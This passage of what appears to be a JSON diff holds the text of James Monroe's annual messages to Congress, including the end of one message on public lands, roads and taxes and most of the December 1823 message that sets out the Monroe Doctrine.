quarters to any extent will not be\nnecessary, and the expense of attending them may be saved. A people\naccustomed to the use of firearms only, as the Indian tribes are, will shun\neven moderate works which are defended by cannon. Great fortifications will\ntherefore be requisite only in future along the coast and at some points in\nthe interior connected with it. On these will the safety of our towns and\nthe commerce of our great rivers, from the Bay of Fundy to the Mississippi,\ndepend. On these, therefore, should the utmost attention, skill, and labor\nbe bestowed.A considerable and rapid augmentation in the value of all the public lands,\nproceeding from these and other obvious cases, may henceforward be\nexpected. The difficulties attending early emigrations will be dissipated\neven in the most remote parts. Several new States have been admitted into\nour Union to the west and south, and Territorial governments, happily\norganized, established over every other portion in which there is vacant\nland for sale. In terminating Indian hostilities, as must soon be done, in\na formidable shape at least, the emigration, which has heretofore been\ngreat, will probably increase, and the demand for land and the augmentation\nin its value be in like proportion.The great increase of our population throughout the Union will alone\nproduce an important effect, and in no quarter will it be so sensibly felt\nas in those in contemplation. The public lands are a public stock, which\nought to be disposed of to the best advantage for the nation. The nation\nshould therefore derive the profit proceeding from the continual rise in\ntheir value. Every encouragement should be given to the emigrants\nconsistent with a fair competition between them, but that competition\nshould operate in the first sale to the advantage of the nation rather than\nof individuals.Great capitalists will derive the benefit incident to their superior wealth\nunder any mode of sale which may be adopted, but if, looking forward to the\nrise in the value of the public lands, they should have the opportunity of\namassing at a low price vast bodies in their hands, the profit will accrue\nto them and not to the public. They would also have the power in that\ndegree to control the emigration and settlement in such a manner as their\nopinion of their respective interests might dictate. I submit this subject\nto the consideration of Congress, that such further provision may be made\nin the sale of the public lands, with a view to the public interest, should\nany be deemed expedient, as in their judgment may be best adapted to the\nobject.When we consider the vast extent of territory within the United States, the\ngreat amount and value of its productions, the connection of its parts, and\nother circumstances on which their prosperity and happiness depend, we can\nnot fail to entertain a high sense of the advantage to be derived from the\nfacility which may be afforded in the intercourse between them by means of\ngood roads and canals. Never did a country of such vast extent offer equal\ninducements to improvements of this kind, nor ever were consequences of\nsuch magnitude involved in them. As this subject was acted on by Congress\nat the last session, and there may be a disposition to revive it at the\npresent, I have brought it into view for the purpose of communicating my\nsentiments on a very important circumstance connected with it with that\nfreedom and candor which a regard for the public interest and a proper\nrespect for Congress require.A difference of opinion has existed from the first formation of our\nConstitution to the present time among our most enlightened and virtuous\ncitizens respecting the right of Congress to establish such a system of\nimprovement. Taking into view the trust with which I am now honored, it\nwould be improper after what has passed that this discussion should be\nrevived with an uncertainty of my opinion respecting the right.\nDisregarding early impressions I have bestowed on the subject all the\ndeliberation which its great importance and a just sense of my duty\nrequired, and the result is a settled conviction in my mind that Congress\ndo not possess the right. It is not contained in any of the specified\npowers granted to Congress, nor can I consider it incidental to or a\nnecessary means, viewed on the most liberal scale, for carrying into effect\nany of the powers which are specifically granted.In communicating this result I can not resist the obligation which I feel\nto suggest to Congress the propriety of recommending to the States the\nadoption of an amendment to the Constitution which shall give to Congress\nthe right in question. In cases of doubtful construction, especially of\nsuch vital interest, it comports with the nature and origin of our\ninstitutions, and will contribute much to preserve them, to apply to our\nconstituents for an explicit grant of the power. We may confidently rely\nthat if it appears to their satisfaction that the power is necessary, it\nwill always be granted.In this case I am happy to observe that experience has afforded the most\nample proof of its utility, and that the benign spirit of conciliation and\nharmony which now manifests itself throughout our Union promises to such a\nrecommendation the most prompt and favorable result. I think proper to\nsuggest also, in case this measure is adopted, that it be recommended to\nthe States to include in the amendment sought a right in Congress to\ninstitute likewise seminaries of learning, for the all-important purpose of\ndiffusing knowledge among our fellow-citizens throughout the United\nStates.Our manufactories will require the continued attention of Congress. The\ncapital employed in them is considerable, and the knowledge acquired in the\nmachinery and fabric of all the most useful manufactures is of great value.\nTheir preservation, which depends on due encouragement, is connected with\nthe high interests of the nation.Although the progress of the public buildings has been as favorable as\ncircumstances have permitted, it is to be regretted that the Capitol is not\nyet in a state to receive you. There is good cause to presume that the two\nwings, the only parts as yet commenced, will be prepared for that purpose\nat the next session. The time seems now to have arrived when this subject\nmay be deemed worthy the attention of Congress on a scale adequate to\nnational purposes. The completion of the middle building will be necessary\nto the convenient accommodation of Congress, of the committees, and various\noffices belonging to it.It is evident that the other public buildings are altogether insufficient\nfor the accommodation of the several Executive Departments, some of whom\nare much crowded and even subjected to the necessity of obtaining it in\nprivate buildings at some distance from the head of the Department, and\nwith inconvenience to the management of the public business.Most nations have taken an interest and a pride in the improvement and\nornament of their metropolis, and none were more conspicuous in that\nrespect than the ancient republics. The policy which dictated the\nestablishment of a permanent residence for the National Government and the\nspirit in which it was commenced and has been prosecuted show that such\nimprovement was thought worthy the attention of this nation. Its central\nposition, between the northern and southern extremes of our Union, and its\napproach to the west at the head of a great navigable river which\ninterlocks with the Western waters, prove the wisdom of the councils which\nestablished it.Nothing appears to be more reasonable and proper than that convenient\naccommodation should be provided on a well-digested plan for the heads of\nthe several Departments and for the Attorney-General, and it is believed\nthat the public ground in the city applied to these objects will be found\namply sufficient. I submit this subject to the consideration of Congress,\nthat such further provision may be made in it as to them may seem proper.In contemplating the happy situation of the United States, our attention\nis drawn with peculiar interest to the surviving officers and soldiers of\nour Revolutionary army, who so eminently contributed by their services to\nlay its foundation. Most of those very meritorious citizens have paid the\ndebt of nature and gone to repose. It is believed that among the survivors\nthere are some not provided for by existing laws, who are reduced to\nindigence and even to real distress. These men have a claim on the\ngratitude of their country, and it will do honor to their country to\nprovide for them. The lapse of a few years more and the opportunity will be\nforever lost; indeed, so long already has been the interval that the number\nto be benefitted by any provision which may be made will not be great.It appearing in a satisfactory manner that the revenue arising from imposts\nand tonnage and from the sale of the public lands will be fully adequate to\nthe support of the civil Government, of the present military and naval\nestablishments, including the annual augmentation of the latter to the\nextent provided for, to the payment of the interest of the public debt, and\nto the extinguishment of it at the times authorized, without the aid of the\ninternal taxes, I consider it my duty to recommend to Congress their\nrepeal.To impose taxes when the public exigencies require them is an obligation of\nthe most sacred character, especially with a free people. The faithful\nfulfillment of it is among the highest proofs of their value and capacity\nfor self-government. To dispense with taxes when it may be done with\nperfect safety is equally the duty of their representatives.In this instance we have the satisfaction to know that they were imposed\nwhen the demand was imperious, and have been sustained with exemplary\nfidelity. I have to add that however gratifying it may be to me regarding\nthe prosperous and happy condition of our country to recommend the repeal\nof these taxes at this time, I shall nevertheless be attentive to events,\nand, should any future emergency occur, be not less prompt to suggest such\nmeasures and burdens as may then be requisite and proper.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "December 2, 1823", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Many important subjects will claim your attention during the present\nsession, of which I shall endeavor to give, in aid of your deliberations, a\njust idea in this communication. I undertake this duty with diffidence,\nfrom the vast extent of the interests on which I have to treat and of their\ngreat importance to every portion of our Union. I enter on it with zeal\nfrom a thorough conviction that there never was a period since the\nestablishment of our Revolution when, regarding the condition of the\ncivilized world and its bearing on us, there was greater necessity for\ndevotion in the public servants to their respective duties, or for virtue,\npatriotism, and union in our constituents.Meeting in you a new Congress, I deem it proper to present this view of\npublic affairs in greater detail than might otherwise be necessary. I do\nit, however, with peculiar satisfaction, from a knowledge that in this\nrespect I shall comply more fully with the sound principles of our\nGovernment.The people being with us exclusively the sovereign, it is indispensable\nthat full information be laid before them on all important subjects, to\nenable them to exercise that high power with complete effect. If kept in\nthe dark, they must be incompetent to it. We are all liable to error, and\nthose who are engaged in the management of public affairs are more subject\nto excitement and to be led astray by their particular interests and\npassions than the great body of our constituents, who, living at home in\nthe pursuit of their ordinary avocations, are calm but deeply interested\nspectators of events and of the conduct of those who are parties to them.To the people every department of the Government and every individual in\neach are responsible, and the more full their information the better they\ncan judge of the wisdom of the policy pursued and of the conduct of each in\nregard to it. From their dispassionate judgment much aid may always be\nobtained, while their approbation will form the greatest incentive and most\ngratifying reward for virtuous actions, and the dread of their censure the\nbest security against the abuse of their confidence. Their interests in all\nvital questions are the same, and the bond, by sentiment as well as by\ninterest, will be proportionably strengthened as they are better informed\nof the real state of public affairs, especially in difficult conjunctures.\nIt is by such knowledge that local prejudices and jealousies are\nsurmounted, and that a national policy extending its fostering care and\nprotection to all the great interests of our Union, is formed and steadily\nadhered to.A precise knowledge of our relations with foreign powers as respects our\nnegotiations and transactions with each is thought to be particularly\nnecessary. Equally necessary is it that we should form a just estimate of\nour resources, revenue, and progress in every kind of improvement connected\nwith the national prosperity and public defense. It is by rendering justice\nto other nations that we may expect it from them. It is by our ability to\nresent injuries and redress wrongs that we may avoid them.The commissioners under the 5th article of the treaty of Ghent, having\ndisagreed in their opinions respecting that portion of the boundary between\nthe Territories of the United States and of Great Britain the establishment\nof which had been submitted to them, have made their respective reports in\ncompliance with that article, that the same might be referred to the\ndecision of a friendly power. It being manifest, however, that it would be\ndifficult, if not impossible, for any power to perform that office without\ngreat delay and much inconvenience to itself, a proposal has been made by\nthis Government, and acceded to by that of Great Britain, to endeavor to\nestablish that boundary by amicable negotiation.It appearing from long experience that no satisfactory arrangement could be\nformed of the commercial intercourse between the United States and the\nBritish colonies in this hemisphere by legislative acts while each party\npursued its own course without agreement or concert with the other, a\nproposal has been made to the British Government to regulate this commerce\nby treaty, as it has been to arrange in like manner the just claim of the\ncitizens of the United States inhabiting the States and Territories\nbordering on the lakes and rivers which empty into the St. Lawrence to the\nnavigation of that river to the ocean. For these and other objects of high\nimportance to the interests of both parties a negotiation has been opened\nwith the British Government which it is hoped will have a satisfactory\nresult.The commissioners under the 6th and 7th articles of the treaty of Ghent\nhaving successfully closed their labors in relation to the 6th, have\nproceeded to the discharge of those relating to the 7th. Their progress in\nthe extensive survey required for the performance of their duties justifies\nthe presumption that it will be completed in the ensuing year.The negotiation which had been long depending with the French Government on\nseveral important subjects, and particularly for a just indemnity for\nlosses sustained in the late wars by the citizens of the United States\nunder unjustifiable seizures and confiscations of their property, has not\nas yet had the desired effect. As this claim rests on the same principle\nwith others which have been admitted by the French Government, it is not\nperceived on what just ground it can be rejected. A minister will be\nimmediately appointed to proceed to France and resume the negotiation on\nthis and other subjects which may arise between the two nations.At the proposal of the Russian Imperial Government, made through the\nminister of the Emperor residing here, a full power and instructions have\nbeen transmitted to the minister of the United States at St. Petersburg to\narrange by amicable negotiation the respective rights and interests of the\ntwo nations on the North West coast of this continent. A similar proposal\nhad been made by His Imperial Majesty to the Government of Great Britain,\nwhich has likewise been acceded to. The Government of the United States has\nbeen desirous by this friendly proceeding of manifesting the great value\nwhich they have invariably attached to the friendship of the Emperor and\ntheir solicitude to cultivate the best understanding with his Government.\nIn the discussions to which this interest has given rise and in the\narrangements by which they may terminate the occasion has been judged\nproper for asserting, as a principle in which the rights and interests of\nthe United States are involved, that the American continents, by the free\nand independent condition which they have assumed and maintain, are\nhenceforth not to be considered as subjects for future colonization by any\nEuropean powers.Since the close of the last session of Congress the commissioners and\narbitrators for ascertaining and determining the amount of indemnification\nwhich may be due to citizens of the United States under the decision of His\nImperial Majesty the Emperor of Russia, in conformity to the convention\nconcluded at St. Petersburg on July 12th, 1822, have assembled in this\ncity, and organized themselves as a board for the performance of the\nduties assigned to them by that treaty. The commission constituted under\nthe 11th article of the treaty of February 22nd, 1819, between the United\nStates and Spain is also in session here, and as the term of three years\nlimited by the treaty for the execution of the trust will expire before\nthe period of the next regular meeting of Congress, the attention of the\nLegislature will be drawn to the measures which may be necessary to\naccomplish the objects for which the commission was instituted.In compliance with a resolution of the House of Representatives adopted at\ntheir last session, instructions have been given to all the ministers of\nthe United States accredited to the powers of Europe and America to propose\nthe proscription of the African slave trade by classing it under the\ndenomination, and inflicting on its perpetrators the punishment, of piracy.\nShould this proposal be acceded to, it is not doubted that this odious and\ncriminal practice will be promptly and entirely suppressed. It is earnestly\nhoped that it will be acceded to, from the firm belief that it is the most\neffectual expedient that can be adopted for the purpose.At the commencement of the recent war between France and Spain it was\ndeclared by the French Government that it would grant no commissions to\nprivateers, and that neither the commerce of Spain herself nor of neutral\nnations should be molested by the naval force of France, except in the\nbreach of a lawful blockade. This declaration, which appears to have been\nfaithfully carried into effect, concurring with principles proclaimed and\ncherished by the United States from the first establishment of their\nindependence, suggested the hope that the time had arrived when the\nproposal for adopting it as a permanent and invariable rule in all future\nmaritime wars might meet the favorable consideration of the great European\npowers. Instructions have accordingly been given to our ministers with\nFrance, Russia, and Great Britain to make those proposals to their\nrespective Governments, and when the friends of humanity reflect on the\nessential amelioration to the condition of the human race which would\nresult from the abolition of private war on the sea and on the great\nfacility by which it might be accomplished, requiring only the consent of a\nfew sovereigns, an earnest hope is indulged that these overtures will meet\nwith an attention animated by the spirit in which they were made, and that\nthey will ultimately be successful.The ministers who were appointed to the Republics of Colombia and Buenos\nAyres during the last session of Congress proceeded shortly afterwards to\ntheir destinations. Of their arrival there official intelligence has not\nyet been received. The minister appointed to the Republic of Chile will\nsail in a few days. An early appointment will also be made to Mexico. A\nminister has been received from Colombia, and the other Governments have\nbeen informed that ministers, or diplomatic agents of inferior grade, would\nbe received from each, accordingly as they might prefer the one or the\nother.The minister appointed to Spain proceeded soon after his appointment for\nCadiz, the residence of the Sovereign to whom he was accredited. In\napproaching that port the frigate which conveyed him was warned off by the\ncommander of the French squadron by which it was blockaded and not\npermitted to enter, although apprised by the captain of the frigate of the\npublic character of the person whom he had on board, the landing of whom\nwas the sole object of his proposed entry. This act, being considered an\ninfringement of the rights of ambassadors and of nations, will form a just\ncause of complaint to the Government of France against the officer by whom\nit was committed.The actual condition of the public finances more than realizes the\nfavorable anticipations that were entertained of it at the opening of the\nlast session of Congress. On the first of January there was a balance in\nthe Treasury of $4,237,427.55. From that time to the 30th of September the\nreceipts amounted to upward of $16.1 millions, and the expenditures to\n$11.4 millions. During the 4th quarter of the year it is estimated that\nthe receipts will at least equal the expenditures, and that there will\nremain in the Treasury on the first day of January next a surplus of\nnearly $9 millions.On January 1st, 1825, a large amount of the war debt and a part of the\nRevolutionary debt become redeemable. Additional portions of the former\nwill continue to become redeemable annually until the year 1835. it is\nbelieved, however, that if the United States remain at peace the whole of\nthat debt may be redeemed by the ordinary revenue of those years during\nthat period under the provision of the act of March 3rd, 1817, creating the\nsinking fund, and in that case the only part of the debt that will remain\nafter the year 1835 will be the $7 millions of 5% stock subscribed to the\nBank of the United States, and the 3% Revolutionary debt, amounting to\n$13,296,099.06, both of which are redeemable at the pleasure of the\nGovernment.The state of the Army in its organization and discipline has been gradually\nimproving for several years, and has now attained a high degree of\nperfection. The military disbursements have been regularly made and the\naccounts regularly and promptly rendered for settlement. The supplies of\nvarious descriptions have been of good quality, and regularly issued at all\nof the posts. A system of economy and accountability has been introduced\ninto every branch of the service which admits of little additional\nimprovement. This desirable state has been attained by the act reorganizing\nthe staff of the Army, passed on April 14th, 1818.The moneys appropriated for fortifications have been regularly and\neconomically applied, and all the works advanced as rapidly as the amount\nappropriated would admit. Three important works will be completed in the\ncourse of this year--that is, Fort Washington, Fort Delaware, and the\nfort at the Rigolets, in Louisiana.The Board of Engineers and the Topographical Corps have been in constant\nand active service in surveying the coast and projecting the works\nnecessary for its defense.The Military Academy has attained a degree of perfection in its discipline\nand instruction equal, as is believed, to any institution of its kind in\nany country.The money appropriated for the use of the Ordnance Department has been\nregularly and economically applied. The fabrication of arms at the national\narmories and by contract with the Department has been gradually improving\nin quality and cheapness. It is believed that their quality is now such as\nto admit of but little improvement.The completion of the fortifications renders it necessary that there should\nbe a suitable appropriation for the purpose of fabricating the cannon and\ncarriages necessary for those works.Under the appropriation of $5,000 for exploring the Western waters for the\nlocation of a site for a Western armory, a commission was constituted,\nconsisting of Colonel McRee, Colonel Lee, and Captain Talcott, who have\nbeen engaged in exploring the country. They have not yet reported the\nresult of their labors, but it is believed that they will be prepared to do\nit at an early part of the session of Congress.During the month of June last General Ashley and his party, who were\ntrading under a license from the Government, were attacked by the Ricarees\nwhile peaceably trading with the Indians at their request. Several of the\nparty were killed and wounded and their property taken or destroyed.Colonel Leavenworth, who commanded Fort Atkinson, at the Council Bluffs,\nthe most western post, apprehending that the hostile spirit of the Ricarees\nwould extend to other tribes in that quarter, and that thereby the lives of\nthe traders on the Missouri and the peace of the frontier would be\nendangered, took immediate measures to check the evil.With a detachment of the regiment stationed at the Bluffs he successfully\nattacked the Ricaree village, and it is hoped that such an impression has\nbeen made on them as well as on the other tribes on the Missouri as will\nprevent a recurrence of future hostility.The report of the Secretary of War, which is herewith transmitted, will\nexhibit in greater detail the condition of the Department in its various\nbranches, and the progress which has been made in its administration during\nthe three first quarters of the year.I transmit a return of the militia of the several States according to the\nlast reports which have been made by the proper officers in each to the\nDepartment of War. By reference to this return it will be seen that it is\nnot complete, although great exertions have been made to make it so. As the\ndefense and even the liberties of the country must depend in times of\nimminent danger on the militia, it is of the highest importance that it be\nwell organized, armed, and disciplined throughout the Union.The report of the Secretary of War shews the progress made during the three\nfirst quarters of the present year by the application of the fund\nappropriated for arming the militia. Much difficulty is found in\ndistributing the arms according to the act of Congress providing for it\nfrom the failure of the proper departments in many of the States to make\nregular returns. The act of May 12, 1820 provides that the system of\ntactics and regulations of the various corps of the Regular Army shall be\nextended to the militia. This act has been very imperfectly executed from\nthe want of uniformity in the organization of the militia, proceeding from\nthe defects of the system itself, and especially in its application to that\nmain arm of the public defense. It is thought that this important subject\nin all its branches merits the attention of Congress.The report of the Secretary of the Navy, which is now communicated,\nfurnishes an account of the administration of that Department for the three\nfirst quarters of the present year, with the progress made in augmenting\nthe Navy, and the manner in which the vessels in commission have been\nemployed.The usual force has been maintained in the Mediterranean Sea, the Pacific\nOcean, and along the Atlantic coast, and has afforded the necessary\nprotection to our commerce in those seas.In the West Indies and the Gulf of Mexico our naval force has been\naugmented by the addition of several small vessels provided for by the \"act\nauthorizing an additional naval force for the suppression of piracy\",\npassed by Congress at their last session. That armament has been eminently\nsuccessful in the accomplishment of its object. The piracies by which our\ncommerce in the neighborhood of the island of Cuba had been afflicted have\nbeen repressed and the confidence of our merchants in a great measure\nrestored.The patriotic zeal and enterprise of Commodore Porter, to whom the command\nof the expedition was confided, has been fully seconded by the officers and\nmen under his command. And in reflecting with high satisfaction on the\nhonorable manner in which they have sustained the reputation of their\ncountry and its Navy, the sentiment is alloyed only by a concern that in\nthe fulfillment of that arduous service the diseases incident to the season\nand to the climate in which it was discharged have deprived the nation of\nmany useful lives, and among them of several officers of great promise.In the month of August a very malignant fever made its appearance at\nThompsons Island, which threatened the destruction of our station there.\nMany perished, and the commanding officer was severely attacked. Uncertain\nas to his fate and knowing that most of the medical officers had been\nrendered incapable of discharging their duties, it was thought expedient to\nsend to that post an officer of rank and experience, with several skilled\nsurgeons, to ascertain the origin of the fever and the probability of its\nrecurrence there in future seasons; to furnish every assistance to those\nwho were suffering, and, if practicable, to avoid the necessity of\nabandoning so important a station. Commodore Rodgers, with a promptitude\nwhich did him honor, cheerfully accepted that trust, and has discharged it\nin the manner anticipated from his skill and patriotism. Before his arrival\nCommodore Porter, with the greater part of the squadron, had removed from\nthe island and returned to the United States in consequence of the\nprevailing sickness. Much useful information has, however, been obtained as\nto the state of the island and great relief afforded to those who had been\nnecessarily left there.Although our expedition, cooperating with an invigorated administration of\nthe government of the island of Cuba, and with the corresponding active\nexertions of a British naval force in the same seas, have almost entirely\ndestroyed the unlicensed piracies from that island, the success of our\nexertions has not been equally effectual to suppress the same crime, under\nother pretenses and colors, in the neighboring island of Porto Rico. They\nhave been committed there under the abusive issue of Spanish commissions.At an early period of the present year remonstrances were made to the\ngovernor of that island, by an agent who was sent for the purpose, against\nthose outrages on the peaceful commerce of the United States, of which many\nhad occurred. That officer, professing his own want of authority to make\nsatisfaction for our just complaints, answered only by a reference of them\nto the Government of Spain. The minister of the United States to that court\nwas specially instructed to urge the necessity of immediate and effectual\ninterposition of that Government, directing restitution and indemnity for\nwrongs already committed and interdicting the repetition of them. The\nminister, as has been seen, was debarred access to the Spanish Government,\nand in the mean time several new cases of flagrant outrage have occurred,\nand citizens of the United States in the island of Porto Rico have\nsuffered, and others been threatened with assassination for asserting their\nunquestionable rights even before the lawful tribunals of the country.The usual orders have been given to all our public ships to seize American\nvessels in the slave trade and bring them in for adjudication, and I have\nthe gratification to state that not one so employed has been discovered,\nand there is good reason to believe that our flag is now seldom, if at all,\ndisgraced by that traffic.It is a source of great satisfaction that we are always enabled to recur to\nthe conduct of our Navy with price and commendation. As a means of national\ndefense it enjoys the public confidence, and is steadily assuming\nadditional importance. It is submitted whether a more efficient and equally\neconomical organization of it might not in several respects be effected. It\nis supposed that higher grades than now exist by law would be useful. They\nwould afford well-merited rewards to those who have long and faithfully\nserved their country, present the best incentives to good conduct, and the\nbest means of insuring a proper discipline; destroy the inequality in that\nrespect between military and naval services, and relieve our officers from\nmany inconveniences and mortifications which occur when our vessels meet\nthose of other nations, ours being the only service in which such grades do\nnot exist.A report of the Post Master-General, which accompanies this communication,\nwill shew the present state of the Post-Office Department and its general\noperations for some years past.There is established by law 88,600 miles of post roads, on which the mail\nis now transported 85,700 miles, and contracts have been made for its\ntransportation on all the established routes, with one or two exceptions.\nThere are 5,240 post offices in the Union, and as many post masters. The\ngross amount of postage which accrued from July 1st, 1822 to July 1st,\n1823 was $1,114,345.12. During the same period the expenditures of the\nPost-Office Department amounted to $1,169,885.51 and consisted of the\nfollowing items, viz: Compensation to post masters, $353,995.98;\nincidental expenses, $30,866.37; transportation of the mail, $784,600.08;\npayments into the Treasury, $423.08. On the first of July last there was\ndue to the Department from post masters $135,245.28; from late post\nmasters and contractors, $256,749.31; making a total amount of balances\ndue to the Department of $391,994.59.These balances embrace all delinquencies of post masters and contractors\nwhich have taken place since the organization of the Department. There was\ndue by the Department to contractors on the first of July last $26,548.64.The transportation of the mail within five years past has been greatly\nextended, and the expenditures of the Department proportionably increased.\nAlthough the postage which has accrued within the last three years has\nfallen short of the expenditures $262,821.46, it appears that collections\nhave been made from the outstanding balances to meet the principal part of\nthe current demands.It is estimated that not more than $250,000 of the above balances can be\ncollected, and that a considerable part of this sum can only be realized by\na resort to legal process. Some improvements in the receipts for postage is\nexpected. A prompt attention to the collection of moneys received by post\nmasters, it is believed, will enable the Department to continue its\noperations without aid from the Treasury, unless the expenditures shall be\nincreased by the establishment of new mail routes.A revision of some parts of the post office law may be necessary; and it is\nsubmitted whether it would not be proper to provide for the appointment of\npost masters, where the compensation exceeds a certain amount, by\nnomination to the Senate, as other officers of the General Government are\nappointed.Having communicated my views to Congress at the commencement of the last\nsession respecting the encouragement which ought to be given to our\nmanufactures and the principle on which it should be founded, I have only\nto add that those views remain unchanged, and that the present state of\nthose countries with which we have the most immediate political relations\nand greatest commercial intercourse tends to confirm them. Under this\nimpression I recommend a review of the tariff for the purpose of affording\nsuch additional protection to those articles which we are prepared to\nmanufacture, or which are more immediately connected with the defense and\nindependence of the country.The actual state of the public accounts furnishes additional evidence of\nthe efficiency of the present system of accountability in relation to the\npublic expenditure. Of the moneys drawn from the Treasury since\nMarch 4th, 1817, the sum remaining unaccounted for on the 30th of September\nlast is more than $1.5 millions less than on the 30th of September\npreceding; and during the same period a reduction of nearly $1 million\nhas been made in the amount of the unsettled accounts for moneys advanced\npreviously to March 4th, 1817. It will be obvious that in proportion as\nthe mass of accounts of the latter description is diminished by settlement\nthe difficulty of settling the residue is increased from the consideration\nthat in many instances it can be obtained only by legal process. For more\nprecise details on this subject I refer to a report from the first\nComptroller of the Treasury.The sum which was appropriated at the last session for the repairs of the\nCumberland road has been applied with good effect to that object. A final\nreport has not been received from the agent who was appointed to\nsuperintend it. As soon as it is received it shall be communicated to\nCongress.Many patriotic and enlightened citizens who have made the subject an object\nof particular investigation have suggested an improvement of still greater\nimportance. They are of the opinion that the waters of the Chesapeake and\nOhio may be connected together by one continued canal, and at an expense\nfar short of the value and importance of the object to be obtained. If this\ncould be accomplished it is impossible to calculate the beneficial\nconsequences which would result from it.A great portion of the produce of the very fertile country through which it\nwould pass would find a market through that channel. Troops might be moved\nwith great facility in war, with cannon and every kind of munition, and in\neither direction. Connecting the Atlantic with the Western country in a\nline passing through the seat of the National Government, it would\ncontribute essentially to strengthen the bond of union itself.Believing as I do that Congress possess the right to appropriate money for\nsuch a national object (the jurisdiction remaining to the States through\nwhich the canal would pass), I submit it to your consideration whether it\nmay not be advisable to authorize by an adequate appropriation the\nemployment of a suitable number of the officers of the Corps of Engineers\nto examine the unexplored ground during the next season and to report their\nopinion thereon. It will likewise be proper to extend their examination to\nthe several routes through which the waters of the Ohio may be connected by\ncanals with those of Lake Erie.As the Cumberland road will require annual repairs, and Congress have not\nthought it expedient to recommend to the States an amendment to the\nConstitution for the purpose of vesting in the United States a power to\nadopt and execute a system of internal improvement, it is also submitted to\nyour consideration whether it may not be expedient to authorize the\nExecutive to enter into an arrangement with the several States through\nwhich the road passes to establish tolls, each within its limits, for the\npurpose of defraying the expense of future repairs and of providing also by\nsuitable penalties for its protection against future injuries.The act of Congress of May 7th, 1822, appropriated the sum of $22,700 for\nthe purpose of erecting two piers as a shelter for vessels from ice near\nCape Henlopen, Delaware Bay. To effect the object of the act the officers\nof the Board of Engineers, with Commodore Bainbridge, were directed to\nprepare plans and estimates of piers sufficient to answer the purpose\nintended by the act. It appears by their report, which accompanies the\ndocuments from the War Department, that the appropriation is not adequate\nto the purpose intended; and as the piers would be of great service both to\nthe navigation of the Delaware Bay and the protection of vessels on the\nadjacent parts of the coast, I submit for the consideration of Congress\nwhether additional and sufficient appropriations should not be made.The Board of Engineers were also directed to examine and survey the\nentrance of the harbor of the port of Presqu'isle, in Pennsylvania, in\norder to make an estimate of the expense of removing the obstructions\nto the entrance, with a plan of the best mode of effecting the same, under\nthe appropriation for that purpose by act of Congress passed 3rd of March\nlast. The report of the Board accompanies the papers from the War\nDepartment, and is submitted for the consideration of Congress.A strong hope has been long entertained, founded on the heroic struggle of\nthe Greeks, that they would succeed in their contest and resume their equal\nstation among the nations of the earth. It is believed that the whole\ncivilized world take a deep interest in their welfare. Although no power\nhas declared in their favor, yet none according to our information, has\ntaken part against them. Their cause and their name have protected them\nfrom dangers which might ere this have overwhelmed any other people. The\nordinary calculations of interest and of acquisition with a view to\naggrandizement, which mingles so much in the transactions of nations, seem\nto have had no effect in regard to them. From the facts which have come to\nour knowledge there is good cause to believe that their enemy has lost\nforever all dominion over them; that Greece will become again an\nindependent nation. That she may obtain that rank is the object of our most\nardent wishes.It was stated at the commencement of the last session that a great effort\nwas then making in Spain and Portugal to improve the condition of the\npeople of those countries, and that it appeared to be conducted with\nextraordinary moderation. It need scarcely be remarked that the result has\nbeen so far very different from what was then anticipated. Of events in\nthat quarter of the globe, with which we have so much intercourse and from\nwhich we derive our origin, we have always been anxious and interested\nspectators.The citizens of the United States cherish sentiments the most friendly in\nfavor of the liberty and happiness of their fellow men on that side of the\nAtlantic. In the wars of the European powers in matters relating to\nthemselves we have never taken any part, nor does it comport with our\npolicy so to do.It is only when our rights are invaded or seriously menaced that we resent\ninjuries or make preparation for our defense. With the movements in this\nhemisphere we are of necessity more immediately connected, and by causes\nwhich must be obvious to all enlightened and impartial observers.The political system of the allied powers is essentially different in this\nrespect from that of America. This difference proceeds from that which\nexists in their respective Governments; and to the defense of our own,\nwhich has been achieved by the loss of so much blood and treasure, and\nmatured by the wisdom of their most enlightened citizens, and under which\nwe have enjoyed unexampled felicity, this whole nation is devoted.We owe it, therefore, to candor and to the amicable relations existing\nbetween the United States and those powers to declare that we should\nconsider any attempt on their part to extend their system to any portion of\nthis hemisphere as dangerous to our peace and safety. With the existing\ncolonies or dependencies of any European power we have not interfered and\nshall not interfere, but with the Governments who have declared their\nindependence and maintained it, and whose independence we have, on great\nconsideration and on just principles, acknowledged, we could not view any\ninterposition for the purpose of oppressing them, or controlling in any\nother manner their destiny, by any European power in any other light than\nas the manifestation of an unfriendly disposition toward the United\nStates.In the war between those new Governments and Spain we declared our\nneutrality at the time of their recognition, and to this we have adhered,\nand shall continue to adhere, provided no change shall occur which, in the\njudgment of the competent authorities of this Government, shall make a\ncorresponding change on the part of the United States indispensable to\ntheir security.The late events in Spain and Portugal shew that Europe is still unsettled.\nOf this important fact no stronger proof can be adduced than that the\nallied powers should have thought it proper, on any principle satisfactory\nto themselves, to have interposed by force in the internal concerns of\nSpain. To what extent such interposition may be carried, on the same\nprinciple, is a question in which all independent powers whose governments\ndiffer from theirs are interested, even those most remote, and surely none\nmore so than the United States.Our policy in regard to Europe, which was adopted at an early stage of the\nwars which have so long agitated that quarter of the globe, nevertheless\nremains the same, which is, not to interfere in the internal concerns of\nany of its powers; to consider the government de facto as the legitimate\ngovernment for us; to cultivate friendly relations with it, and to preserve\nthose relations by a frank, firm, and manly policy, meeting in all\ninstances the just claims of every power, submitting to injuries from\nnone.But in regard to those continents circumstances are eminently and\nconspicuously different. It is impossible that the allied powers should\nextend their political system to any portion of either continent without\nendangering our peace and happiness; nor can anyone believe that our\nsouthern brethren, if left to themselves, would adopt it of their own\naccord. It is equally impossible, therefore, that we should behold such\ninterposition in any form with indifference. If we look to the comparative\nstrength and resources of Spain and those new Governments, and their\ndistance from each other, it must be obvious that she can never subdue\nthem. It is still the true policy of the United States to leave the parties\nto themselves, in the hope that other powers will pursue the same course.If we compare the present condition of our Union with its actual state at\nthe close of our Revolution, the history of the world furnishes no example\nof a progress in improvement in all the important circumstances which\nconstitute the happiness of a nation which bears any resemblance to it. At\nthe first epoch our population did not exceed 3,000,000. By the last census\nit amounted to about 10,000,000, and, what is more extraordinary, it is\nalmost altogether native, for the immigration from other countries has been\ninconsiderable.At the first epoch half the territory within our acknowledged limits was\nuninhabited and a wilderness. Since then new territory has been acquired of\nvast extent, comprising within it many rivers, particularly the\nMississippi, the navigation of which to the ocean was of the highest\nimportance to the original States. Over this territory our population has\nexpanded in every direction, and new States have been established almost\nequal in number to those which formed the first bond of our Union. This\nexpansion of our population and accession of new States to our Union have\nhad the happiest effect on all its highest interests.That it has eminently augmented our resources and added to our strength 